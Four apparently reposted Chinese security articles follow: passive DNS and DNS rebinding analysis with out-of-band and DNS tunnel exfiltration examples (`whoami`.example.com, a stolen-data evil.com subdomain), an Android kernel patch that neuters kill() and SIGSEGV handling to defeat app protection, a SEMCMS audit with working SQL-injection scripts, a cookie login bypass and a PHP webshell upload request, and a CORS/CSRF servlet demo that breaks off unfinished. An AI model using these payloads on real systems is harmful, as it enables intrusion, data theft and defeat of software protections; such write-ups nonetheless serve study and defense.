同时Rapid7也提供了人性化的api接口供用户进行即时查询读取，接口地址为<https://opendata.rapid7.com/apihelp/。类似的DNS数据库在互联网上也可以找到，类似有DnsDB这些，数据涵盖量有所差异，建议交叉使用，更能满足一些苛刻需求。>
**Passive DNS**
讲到DNS数据集，不得不提的是Passive DNS。我查阅了很多互联网博客资料，发现并没有哪个对Passive
DNS的概念描述得很清楚，导致大多数人会误以为Passive DNS和之前提供的DNS解析数据是差不多的，但是还是略有不同。Passive
DNS，顾名思义其实就是被动获取的DNS数据信息。它是由一些研究者放入互联网当中的流量抓取工具抓到的DNS数据信息，然后存储到一个中央数据库，形成了Passive
DNS
database。这种数据信息和一些本地DNS数据不同的是，它包含的不仅是当前的DNS数据（包括IP映射等），还包括了历史上所存在的一些DNS数据映射等。研究人员可以通过对这种数据变更发现一些隐藏的关系链，甚至挖掘出一些未知的威胁风险等，例如发现新的恶意域名。攻击者可以通过一系列手段绕过一些本地DNS特征，但是想要绕过这种全局化的DNS信息是非常困难的。
一个域名在某个时间段内可以解析到多个IP地址上，一个IP地址也可以某个时间段内映射在多个域名，这些映射历史都是可以被Passive
DNS数据包含在内，这样研究者可以从这些关联数据中发现已知的恶意域名与未知恶意域名之间的关系，从而挖掘出未知的威胁风险。
所以通过Passive DNS来构建域名间联系，可以通过定义如下公式来定义该联系的权重。
将该公式实验应用到下面这个域名解析图中，去计算每个域名节点之间的联系权重。举个例子，计算D1和D3之间的联系权重，D1和D3的IP映射当中有一个IP是重叠的，且很明显D1≠D3，所以w(D1,D3)=1-1/2=0.5，符合域名图中的权重数值。
将该公式用于计算3322.org这个著名的恶意域名的二级域名之间的联系关系，并将关系图绘制出来可以发现，二级域名间存在一个团体性的关系联系，这往往给我们对恶意域名的行为进行明显地区分或加以更深入的分析。
利用上面的权重关系可以进一步分析一些未知域名与著名恶意域名之间的联系权重，从而判断未知域名是否具有恶意性。但是问题在于这些需要进行判断的未知域名与著名恶意域名间不一定存在直接联系，它们可能类似上述图中的D2与D6的关系，需要经过一段路径才能联系在一起。所以以D2和D6作为例子，那么需要首先定义D2和D6中间的路径，即有如下几种情况：
1. D2-D3-D1-D4-D5-D6；
2. D2-D3-D1-D4-D6；
3. D2-D3-D4-D5-D6；
4. D2-D3-D4-D6；
如果从直观上选择一般选择路径最短，但是首先这里会定义一个联系关系函数assoc(P)，assoc(P)要求必须是每次经过路径的最大值，因为最大值路径代表了最强关联性，可以理解这种强关联性更易于传播“恶意行为”这个属性。
所以选择路径Path
3：D2-D3-D4-D5-D6。那么该公式中的w(P)，即路径权重是由edge的值相乘得到，但path越长，推定确定性越低，所以没经过一个hop需要打折一次。即如下公式：
因为要通过著名恶意域名去判断未知域名，所以要设立一个关于已知恶意域名的对象seed，多个seed形成一个S集合。最终就是通过seed来计算未知域名的恶意性可能性值。
定义一个列表M(d)，这是一个seed与未知域名之间关系值assoc()函数的排序列表，即 (assoc(s1, d), . . . , assoc(sn,
d))，列表排序说明了在列表第一个的assoc(s1,d)说明d与s1的关联系最高，这里是通过与一个恶意域的强关联和与其他恶意域的弱关联从双面判定该域名与指定恶意域的强关联性。得到如下的mal(d,S)，这个公式推算出需要判断的未知域名的恶意可能性值。
可是如上的公式推算忽略一个情况，就是公有云的问题。像阿里云这些可能由于云厂商拥有的是有限的IP地址池，所以可能有些主机域名因为厂商的缘故会共享使用或者不同时间段内映射到同一个IP地址。但它们之间并不存在恶意联系。那么如何解决这种误会问题呢？有两个解决办法：
1. 简单粗暴，直接将这类IP地址剔除不进行计算（不现实，且最后推算出的公式不通用）；
如果一个IP在一段时间内被映射到大量的域名，那么它很可能是一个公共IP。因此，如果IP在某个时间段内承载超过t个域名，我们将排除这些IP，其中t是一个可配置参数。
2. 重新定义域名间联系权重w(d1,d2)；
定义一个asn(I)，I为IP地址集合，那么asn(I)表示这个集合中IP地址归属的自治系统域（AS）的编号，这里默认认为一个服务提供商只会提供一个AS内的IP地址。但实际上像AS16509和AS14618都属于Amazon，所以结果会略有偏差。这时需要通过whois信息中的提供商记录来加以判断。
## **DNS Rebinding**
DNS重绑定是一种比较常见的攻击形式，1996年该技术扰乱了JVM自身的安全措施。该技术的主要核心就是绕过SOP的限制来进行一些内网威胁攻击。基本过程如下：
1. 第一次DNS解析请求到外部合法域名绕过安全限制；
2. 第二次DNS解析请求发现数据变更请求到内网地址。
这种技术可以用于防火墙绕过或者IP劫持等。那么一般如果要实现这种技术利用，可以建立在好几种不同的基础原理上
1. 给同一个主机域名配置多个DNS的A记录（1996年攻击JVM的手法）；
2. 极短的TTL老化时间；
3. 不同浏览器中的Pinning设置时间不一样导致可以通过在部署弱安全措施的浏览器上实施攻击（DNS Pinning即浏览器会在自身设置好的缓存时间前使用自己缓存库中的IP地址或域名，这期间不信任不依赖TTL老化时间）；
4. Flash的crossdomain.xml不够严谨（由于Flash将死，不详述）；
针对这种攻击技术的防护可以从三个方面进行部署：
防火墙绕过层面：
1. 关闭企业对外的53端口禁止内网对外部DNS服务器进行请求，然后在本地DNS服务器上进行外部域名映射到内网IP地址；
2. 用户的个人PC防火墙可以加上dnswall的部署；
3. Windows的防火墙可以阻断对127回环IP地址的DNS解析请求；
插件安全
1. Flash Player需设置严谨的policy文件且需在socket连接前先通过policy的安全检查。
2. Java需使用CONNECT方法对外连接；
3. Java LiveConnect需使用和浏览器统一的缓存池以移除不同Pinning时间导致漏洞利用；
浏览器安全
如果插件默认拒绝socket连接
* 检查请求包Host字段
因为javascript标准不允许xhr自定义host字段，所以通过检查该字段可以防止在一个IP地址上承载多个主机域名。
* 源信息细粒化
其实就是收集关于目标信息的一些细粒化的信息，包括其公钥信息等，再次请求时为了防止目标被篡改那么就会比对这些额外信息是否匹配，如果不匹配那么有可能遭受了DNS重绑定攻击了。
* 智能化Pinning
服务商一般会降低TTL来提高应用健壮性，但牺牲了安全性，使其可以被DNS重绑定攻击。所以使用“C类固定”，只允许重绑定源目标的同C类地址。同时RFC1938标准文档阻止了公用IP地址和私用IP地址之间重绑定。
* 基于协议的Pinning
浏览器在重绑定时参考目标服务器部署的一些policy措施（例如，crossdomain.xml和部署在reverse DNS上的policy）。
* 避免Pinning缺陷
浏览器和插件共享同一个pin数据库，防止出现缓存老化时间差异；且Cache中必须同时存储URL和IP地址以防篡改；类似document.domain=document.domain这种javascript语句也可能造成DNS重绑定攻击（因为当前domain对象已被篡改）。
如果插件默认允许socket连接
* 主机名授权
服务器可以公布主机白名单，允许主机映射这个白名单内所有IP地址。例如授权www.example.com使用171.64.78.146。那么就会使用如下的DNS
records。
具体使用过程如下：
1. 解析域名auth.ip.in-addr.arpa。
2. 如果域名存在，且IP地址是符合白名单策略的。那么就允许授权，反之不行。
3. 最后，如果IP是符合白名单策略的话，那么根据www.example.com.auth.[ip].in-addr.arpa是否可以解析成功来确定域名（www.example.com）是否是被授权的。
4. 可信任的策略提供商
使用可信任的策略提供商提供的接口进行主机名授权，便捷安全。
**对抗升级**
上文中所提到的安全防护技术中最为推崇的应该就是DNS Pinning技术了，其实针对这类Pinning技术也有一定的绕过方式。
1. Http DoS。
浏览器在第二次请求目标域名时去请求缓存中的IP地址，但此时只要攻击者使目标主机拒绝服务，即拒绝新的连接，那么浏览器就会放弃使用缓存中的数据而且建立新的DNS请求从而得到DNS
Rebind后的新的IP地址（也就是内网IP地址）；
2. 泛洪攻击DNS缓存表同时实现交互式DNS Rebinding
第二点中提到的方式主要可以用下图来表示。
攻击者控制一台Web服务器和DNS服务器，当用户访问attack.com时，DNS服务器意识到该主机是第一次请求解析这个域名，则它会返回攻击者控制的Web服务器的IP地址，那么用户就会访问到钓鱼网站，该网站前端包含有一段恶意javascript脚本。脚本加载后会再一次请求attack.com，这时候DNS服务器感知到这是该主机第二次请求解析该域名，会解析成内网IP地址。而这种绕过方式的关键就在于这段javascript脚本。假设浏览器的DNS缓存条目为100条（chrome26后因性能优化目的条目增至1000条，但该攻击仍有效，耗时仅10秒内），那么这段脚本会遍历请求n1.takenoteswith.us到n120.takenoteswith.us以清除已在缓存表中的条目数据。
且这个javascript脚本可以与攻击者的web服务器维持一个长期的WebSocket连接，并且从web服务器接收json格式的指令，指令包含三个字段：method（例如，POST方法），URL，arg参数。例如，{method:’post’,
url:/form/login’,
args:name=’alice’}指的就是向/form/login地址post发送数据，数据内容为name=alice，而javascript脚本会通过xhr来执行这个命令。如果请求需要下载一个二进制文件，那么加入content-type字段以为了方便解析，如果是压缩文件那么需要在javascript脚本上进行解压缩然后更改content-length字段。且在返回数据给web服务器时要使用base64进行编码方便放入json对象进行传输。
由于目的是交互式攻击，那么还有一个难题就是使用户驻留，在这个攻击下其实就是让攻击者不关闭加载了javascript脚本的页面。那么攻击者可以构造一个诱惑页面使用户驻留，例如一个下载站点，提示下载需在100秒后执行，那么用户只能在这个页面等待而不关闭。
针对这种交互式DNS重绑定攻击，有三种防护方式
* 头字段检测
浏览器应检测Host字段是否匹配（默认未开启或不阻断）。
* 增加缓存大小
不能完全阻止该攻击，且可能会影响性能。
* 智能化缓存清洗
在DNS缓存进行清洗时应该首先清洗只能识别出的无效无意义DNS条目。
## **带外数据攻击**
这个是当前一些渗透测试技术中比较常见的攻击形式，常用语SQL注入，XSS攻击，XXE等。也经常在利用一些新漏洞发现初期使用这种方式获得攻击回显，例如Weblogic的CVE-2017-10271漏洞。在有些漏洞利用当中多少可能也会遇到安全设备等，我们也可以通过带外信道的方式将隐私数据通过DNS协议带出来。比较常见的利用方式就是用反引号包裹命令行，然后请求带有这类格式的域名，例如`whoami`.example.com。
**DNS Tunnel**
这是最近几年常被拿出来提的用于高级类攻击的一种技巧，一般用于后门连接C&C服务器时使用，近几年的wannacry，xshellghost等后门都使用了这种隧道攻击技术。这种通道既隐蔽，又可以实现交互式命令发布和数据读取。像是A记录，AAAA记录，TXT记录和PTR记录等都可以用作在DNS
Tunnel当中。如果只是A记录或者AAAA记录，那么我们只可以从部署的后门获取到敏感数据，而部署在沦陷机上的后门或病毒并不能得到不断更新的指定命令，也就是说所有的过程只是单向的。而PTR完善这种交互攻击。攻击者可以在多个IP地址的PTR记录里部署分段payload，然后后门通过按顺序读取PTR记录最后拼接起来即可得到完成的命令。
和PTR记录一样，TXT记录也可以用于交互攻击。攻击者可以使后门读取指定的域名的TXT记录，这些记录完整地写好了命令，执行即可，形式上和PTR没什么差别。所以交互式恶意软件的意义就在于，攻击者可以发送命令也可以接收反馈。
这种隧道技术常见于恶意软件，例xshellghost就是用了DNS Tunnel技术。
如果把这种复杂的隧道技术运用到日常的渗透测试攻击当中。以XSS为例，在我们插入的XSS Payload当中，我们可以使用xhr去请求一个可控的web
api，这个api可以读取对应域名的TXT记录从而读取最新的javascript脚本，然后也是通过xhr或者preload机制访问可控域名，将敏感数据放入二级域名，例如“[sesitiveData].evil.com”。DNS
Tunnel技术帮助我们实现了增强型交互式XSS攻击。
【题外话】
除了DNS协议可以建立Tunnel来传输数据，ICMP协议同样也可以，如下提供了两例已开源的ICMP Tunnel工具：
1. MIT Ptunnel。<http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/>
2. inquish icmpsh。<http://inquisb.github.io/icmpsh/>
## **致谢**
ourren@Secwiki
sshruoshui(warethink#gmail.com)@NUTD
本文首发于安全学术圈（SecQuan）公众号。本公众号分享安全方面的论文写作、会议发表、基金申请方面的资料。
## **参考文献**
[1] Khalil, I., Yu, T., & Guan, B. (2016, May). Discovering malicious domains
through passive DNS data graph analysis. In Proceedings of the 11th ACM on
Asia Conference on Computer and Communications Security (pp. 663-674). ACM.
[2] Jackson, C., Barth, A., Bortz, A., Shao, W., & Boneh, D. (2009).
Protecting browsers from DNS rebinding attacks. ACM Transactions on the Web
(TWEB), 3(1), 2.
[3] Dai, Y., & Resig, R. (2013). FireDrill: Interactive {DNS} Rebinding. In
Presented as part of the 7th {USENIX} Workshop on Offensive Technologies.
[4] Stødle, D. (2005, May 26). Ping Tunnel - Send TCP traffic over ICMP [Web
log post]. Retrieved June 20, 2019, from
<http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/>
[5] inquish. (2013, May 17). icmpsh - Simple reverse ICMP shell. Retrieved
August 1, 2019, from <http://inquisb.github.io/icmpsh/> | 社区文章 |
# 定制化 Android kernel 绕过用户层 check
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
Android
加固厂商针对运行环境进行诸多检测，常见的有设备Root，是否开启开发者模式或adb，更过(s)分(bi)可能会检测是否连接充电线。当检测未通过往往会终止进程，说到终止进程看似易实现，实则大有文章。因为从一个分析者的角度而言，可以忽略你的所有检测逻辑，只要保证程序正常运行即可，所以最容易想到的思路就是直接对程序检测后的处理逻辑进行插桩修改。与之对应的开发者也会对这一部分代码进行保护。常见的是利用系统
syscall 实现，这样可以避免对API插桩的方式进行绕过。当然利用 syscall 具体如何使得程序退出也有很多思路，常见的比如调用
kill。这次遇到的情况检测比较严格，对环境进行诸多修改仍未能阻止程序的闪退，日志如下：
因为设备已解锁 bootloader，刷新内核比较方便，所以萌生了 patch kernel 去绕过的想法。
## Android kernel 下载与编译
该部分主要参考了[基于nexus6修改android内核](https://blog.csdn.net/u011649400/article/details/78705594)不过替换了它原文的代码源，更换为了清华源，链接如下
git://mirrors.ustc.edu.cn/aosp/kernel/msm.git
这样就不需要翻Q，而且速度也比较快。配置环境进行编译，主要指令如下：
msm# export ARCH=arm
msm# export CROSS_COMPILE=arm-eabi- msm# export PATH=path/arm-eabi-4.8/bin/:$PATH
msm# make -j32
下图即表示编译成功
### Linux kernel 源码分析
分析具体源码之前首先简单介绍一下 ARM 平台下的软中断到内核函数的调用。ARM CPU
有7种模式，分别是User、FIQ、IRQ、Supervisor(SVC)、Abort、Undef 和 System。具体处于何种模式在 CPSR
寄存器进行保存。ARM 平台 CPU 切换到内核是利用 SVC 指令（SVC 也是一条汇编指令），SVC 指令执行后 CPU 处理器会进入
Supervisor 模式，在此模式实现内核函数的执行。
应用层实际要调用那个内核函数是由传入的系统调用号决定，ARM 平台系统调用号定义在
arch/arm/include/asm/unistd.h，与之相对应的在 kernel 中有一个 handler 来处理不同的系统调用号(system
call handler)。要分析调用号与handler 的关系就需要从内核入口进行分析，内核入口代码由汇编实现，不同平台实现也不同（包括系统调用号）对于
ARM 定义在 arch/arm/kernel/entry-common.S，ARM64 定义在
arch/arm64/kernel/entry.S，此文主要以 ARM 平台为例，entry-common.S 主要汇编代码如下，关键部分都有注释：
/*=============================================================================
* SWI handler
*----------------------------------------------------------------------------- */
.align 5
ENTRY(vector_swi)
...
zero_fp
/*
* Get the system call number.
*/
#if defined(CONFIG_OABI_COMPAT)
...
#ifdef CONFIG_ARM_THUMB
tst r8, #PSR_T_BIT
movne r10, #0 @ no thumb OABI emulation
ldreq r10, [lr, #-4] @ get SWI instruction
#else
ldr r10, [lr, #-4] @ get SWI instruction
#endif
...
#elif defined(CONFIG_AEABI)
/*
* Pure EABI user space always put syscall number into scno (r7).
*/
#elif defined(CONFIG_ARM_THUMB)
tst r8, #PSR_T_BIT @ this is SPSR from save_user_regs
addne scno, r7, #__NR_SYSCALL_BASE @ put OS number in
ldreq scno, [lr, #-4]
#else
/* Legacy ABI only. */
ldr scno, [lr, #-4] @ get SWI instruction
#endif
#ifdef CONFIG_ALIGNMENT_TRAP
...
#endif
...
adr tbl, sys_call_table @ load syscall table pointer
#if defined(CONFIG_OABI_COMPAT)
bics r10, r10, #0xff000000
eorne scno, r10, #__NR_OABI_SYSCALL_BASE
ldrne tbl, =sys_oabi_call_table
#elif !defined(CONFIG_AEABI)
bic scno, scno, #0xff000000 @ mask off SWI op-code
eor scno, scno, #__NR_SYSCALL_BASE @ check OS number
#endif
local_restart:
...
ldrcc pc, [tbl, scno, lsl #2] @ call sys_* routine
（ SWI 是 SVC 指令的前身）
这部分代码逻辑不复杂，简单概括就是获取 R7 寄存器保存的syscall number，同时获取 syscall table 指针，做一些 check
后最终调用 syscall table 中的 sys _* 函数。Handler 的具体实现在
SYSCALL_DEFINE1/2/3/4/5/6(##name, …)函数中，如 kernel/sys.c 和/root/android-kernel/signal.c。SYSCALL_DEFINE 与 sys_ * 的关系查看 include/linux/syscalls.h
中的宏定义即可明白，宏定义如下：
#define SYSCALL_DEFINE1(name, ...) SYSCALL_DEFINEx(1, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE2(name, ...) SYSCALL_DEFINEx(2, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE3(name, ...) SYSCALL_DEFINEx(3, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE4(name, ...) SYSCALL_DEFINEx(4, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE5(name, ...) SYSCALL_DEFINEx(5, _##name, __VA_ARGS__)
#define SYSCALL_DEFINE6(name, ...) SYSCALL_DEFINEx(6, _##name, __VA_ARGS__)
#define SYSCALL_DEFINEx(x, sname, ...) \
SYSCALL_METADATA(sname, x, __VA_ARGS__) \
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
#define __SYSCALL_DEFINEx(x, name, ...) \
asmlinkage long sys##name(__MAP(x,__SC_DECL,__VA_ARGS__)); \
static inline long SYSC##name(__MAP(x,__SC_DECL,__VA_ARGS__)); \
asmlinkage long SyS##name(__MAP(x,__SC_LONG,__VA_ARGS__)) \
{ \
... \
} \
SYSCALL_ALIAS(sys##name, SyS##name); \
static inline long SYSC##name(__MAP(x,__SC_DECL,__VA_ARGS__))
## kernel 代码修改
根据日志进程是接收到了一个 SIGSEGV 信号后退出了，而且是由于 PC 寄存器指向了错误的地址导致的。Kill syscall 也可以发送
SIGSEGV 信号，根据历史经验直接 Patch Linux #37 syscall。根据之前的 kernel 源码分析，可以迅速定位 kill 的
Handler
/**
* sys_kill - send a signal to a process
* @pid: the PID of the process
* @sig: signal to be sent
*/
SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)
这里采用了比较暴力的做法，直接 return。
static int kill_something_info(int sig, struct siginfo *info, pid_t pid)
{
// int ret;
return 0;
同时因为 PC 寄存器指向错误地址为了程序不崩溃退出所以暴力的忽略 SIGSEGV
信号，这部分代码定义在arch/arm/kernel/signal.c，做了如下 patch
static void handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
sigset_t *oldset = sigmask_to_save();
int ret;
if (ksig -> sig == SIGSEGV){
return;
}
## 刷入设备
将新 kernel
刷入设备也参考了[基于nexus6修改android内核](https://blog.csdn.net/u011649400/article/details/78705594)文章的方式，unmkbootimg
-i boot.img 命令执行完会输出 rebuild boot image 的指令，如下：
To rebuild this boot image, you can use the command:
mkbootimg --base 0 --pagesize 2048 --kernel_offset 0x00008000 --ramdisk_offset 0x02000000 --second_offset 0x00f00000 --tags_offset 0x01e00000 --cmdline 'console=ttyHSL0,115200,n8 androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M' --kernel kernel --ramdisk ramdisk.cpio.gz -o boot.img
将 —kernel 的文件替换为编译出来的 zImage-dtb 即可得到定制化的 boot.img ,使用 fastboot flash
输入即可，参考文章很多不再赘述。
## 小结
·本文的重点只是介绍通过 patch kernel 实现应用层棘手情况处理的思路，以及 ARM 架构下 Linux syscall
部分源码分析。实际所改的代码比较暴力并未做准确的判断，适用性仅限于遇到的情形，并未考虑通用型。 | 社区文章 |
### 前言
起源于社团大佬发出的一张图片，最近没事就练一下代码审计吧。。。然后电脑坏了，借了一台win11的，凑合着用吧。
### SQL注入
这个CMS的SQL注入挺多的，我就写一下前台利用吧。
#### 第一处
我们直接看一下他写的waf
<?php
include_once "class.phpmailer.php";
// 防sql注入
if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get
foreach ($GetArray as $value){ //get
verify_str($value);
}
function inject_check_sql($sql_str) {
return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
逻辑比较简单，利用正则，所有通过 GET 传参得到的参数经过`verify_str`函数调用 `inject_check_sql`
函数进行参数检查过滤，如果匹配黑名单，就退出。
1. 子查询语句被禁用了
2. 不能有单引号（当SQL的变量包被单引号括起来时不能用单引号闭合）
3. 没有办法绕过空格
但是这个地方很明显黑名单过滤不严格，而且没有对POST方法进行限制，这样的话我们直接找利用POST方法传参的地方进行构造。
if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}
但是又有`test_input`函数进行限制。
function test_input($data) {
$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;
}
具体实现四个功能
1. 将%替换为`percent`
2. trim() 函数移除字符串两侧的空白字符或其他预定义字符，比如`/t`（制表符），`/n`（换行），`/xb`（垂直制表符），`/r`（回车），（空格）。 功能除去字符串开头和末尾的空格或其他字符。 函数执行成功时返回删除了string字符串首部和尾部空格的字符串，发生错误时返回空字符串`（""）`。 如果任何参数的值为`NULL`,`Trim()` 函数返回`NULL`。
3. `stripslashes()`删除反斜杠（不能使用反斜杠转义SQL语句中的单引号或双引号）
4. html转义
明确了这些，剩下的就比较简单了，在任意包含`web_inc.php`的页面在`languageID`处构造sql注入语句，以POST方式进行传参，就可以实现。
`ascii`
`substr`等函数以及大于号小于号并没有被过滤，我们可以盲注测试一下（构建CMS的时候已经知悉数据库名字了，我们直接从相对应ascii进行测试）
ID = 10 and ascii(substr((database()),1,1))>110
或者是
languageID = 2 and ascii(substr(database(),1,1))^109
附一份脚本：
import requests
url = "http://localhost"
database=""
for i in range(1,6):
for j in range(97,127):
payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)
data = {"languageID":payload}
#print(payload)
c=requests.post(url=url,data=data).text
if "Empty!" in c:
database+=chr(j)
print(database)
#### 第二处
$web_urls=$_SERVER["REQUEST_URI"]; //获取 url 路径
$web_urls=explode("/", $web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn); // 大写的问号。
跟进`web_language_ml`方法：
function web_language_ml($web_urls1,$web_urls2,$db_conn){
$query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or language_url='$web_urls2' and language_open=1");
if (mysqli_num_rows($query)>0){
$query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or language_url='$web_urls2' and language_open=1");
$row=mysqli_fetch_assoc($query);
$Urlink=array('url_link'=>$row['language_url'],'url_ml'=>"../",'ID'=>$row['ID']);
}else{
$query=$db_conn->query("select * from sc_language where language_mulu=1 and language_open=1");
$row=mysqli_fetch_assoc($query);
$Urlink=array('url_link'=>"",'url_ml'=>"./",'ID'=>$row['ID']);
}
return $Urlink;
}
可以看到`$web_urls`会被放入数据库语句执行，由于`$web_urls`获取没有经过过滤函数，所以可以确定存在SQL注入。
但是某些特殊字符在GET传参时，被url编码了，比如双引号，大于号小于号，不过这个地方单引号没有被过滤，可以闭合；而且空格也会被处理，`%0a%ob`也会被认为字符串，`/**/`的方法也不行。
我们可以尝试这样构造：
/index.php/'or(sleep(3))or'
完整SQL语句：
/index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#
### SQL注入绕过登录
function checkuser($db_conn){ //判断用户是否登陆
$cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
$cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));
$query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");
if (mysqli_num_rows($query)>0){
$row=mysqli_fetch_assoc($query);
return $row['user_qx'];
}else{
echo "<script language='javascript'>alert('账号密码不正确重新登陆！');top.location.href='index.html';</script>";
exit;
}
}
获取Cookie中的用户名密码构成sql语句，以单引号格式进行拼接，我们可以恶意构造
select * from sc_user where user_admin='111\' and user_ps='or 1#'
此时，原语句中的SQL单引号被转义，同时编辑cookie`scuseradmin`和`scuserpass`的值
### 后台文件上传+Getshell
制作一份php内容的图片
在后台管理页面添加此照片
BurpSuite拦截进行修改
POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3369516516527364944820946580
Content-Length: 830
Origin: http://localhost
Connection: close
Referer: http://localhost/SEMCMS3.9/OSWttq_Admin/SEMCMS_Upload.php?Imageurl=../Images/prdoucts/&filed=images_url&filedname=forms
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="wname"
111
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
<?php phpinfo();?>
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="imageurl"
../Images/prdoucts/
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filed"
images_url
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filedname"
forms
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="submit"
Submit
-----------------------------3369516516527364944820946580--
在我们重命名的时候修改重命名文件为`111.jpg.php:`进行保存，这是我们看后台保存图片已经写入，但是没有数据。
第二次提交，提交同样的图片，这一次我们修改上传文件名为`test.jpg<<<`
接着访问，成功实现
首先是为什么能成功解析成php文件？
if (test_input($_POST["wname"])!==""){//自定义文件名
$newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名
我觉得这个地方能够上传成功与文件名命名格式有关，众所周知，英文状态下冒号是不允许存在的，应该是这个地方产生了截断，导致后面的`.jpg`没有被拼接上。
但是我不太明白一个地方就是怎么将php写入的，于是全局搜索`file_put_contents`，只有3处使用，相对比较可疑的是：
function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){
if ($htmlopen==1){$ml="j";}else{$ml="d";}
$template="index.php,hta/".$ml."/.htaccess"; //开始应用模版
$template_mb=explode(",",$template);//以,分割为数组
for($i=0;$i<count($template_mb);$i++){
$template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);
$templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
$output = str_replace('<{Template}>', $mb, $template_o);
$output = str_replace('<{dirpaths}>', $dirpaths, $output);
file_put_contents($templateUrl, $output);
}
}
这个地方的`$mb`是可控的
这里`file_get_contents()` 和 `str_replace()`
就是从模板目录下提取index.php和.htaccess文件然后替换`<{Template}>`写入到主目录下
理论上这个地方也可以Getshell，但这个地方我还是不太明白到底`test.jpg<<<`是如何写入的，希望有大佬能教教我~ | 社区文章 |
好吧，这篇文章要说的是CSRF。我知道这已经是个很老的话题了，也没多少人对它感兴趣。但在做API／微服务架构防御的时候我觉得还是有些值得探讨的地方。
先搞个demo吧，以下是两个servlet，分别处理get和post请求：
@WebServlet("/data/get")
public class GetData extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public GetData() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Received data:"+request.getParameter("data"));
System.out.println("Received data:"+request.getParameter("data"));
}
}
@WebServlet("/data/post")
public class PostData extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public PostData() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().print("Received data:"+request.getParameter("data"));
System.out.println("Received data:"+request.getParameter("data"));
}
}
再来一个响应过滤器:
@WebFilter(filterName = "filter1")
public class CORSResponseFilter implements Filter {
@Override
public void destroy() {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1,
FilterChain arg2) throws IOException, ServletException {
HttpServletResponse resp = (HttpServletResponse) arg1;
HttpServletRequest request = (HttpServletRequest) arg0;
resp.addHeader("Access-Control-Allow-Origin", "*");
arg2.doFilter(request, resp);
}
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}
}
客户端代码:
<html>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$.ajax({
url: "http://localhost:8080/TestWeb/data/get",
type: 'GET',
data: { data: "get method" },
success: function(data) {
alert(data);
},
error: function(e) {
alert("Error");
}
});
</script>
<body>
</body>
</html>
对于大多数开发者来说，都知道用`Access-Control-Allow-Origin`来防御CSRF，但其实还有更多的问题需要考虑，比如：
1，你的配置是否正确。错误的`Access-Control-Allow-Origin`配置并不少见，但这不是我想讨论的。
2，就算正确配置了，万一本站或者子站存在XSS，依旧有可能造成CSRF。而这也不是我想讨论的。。
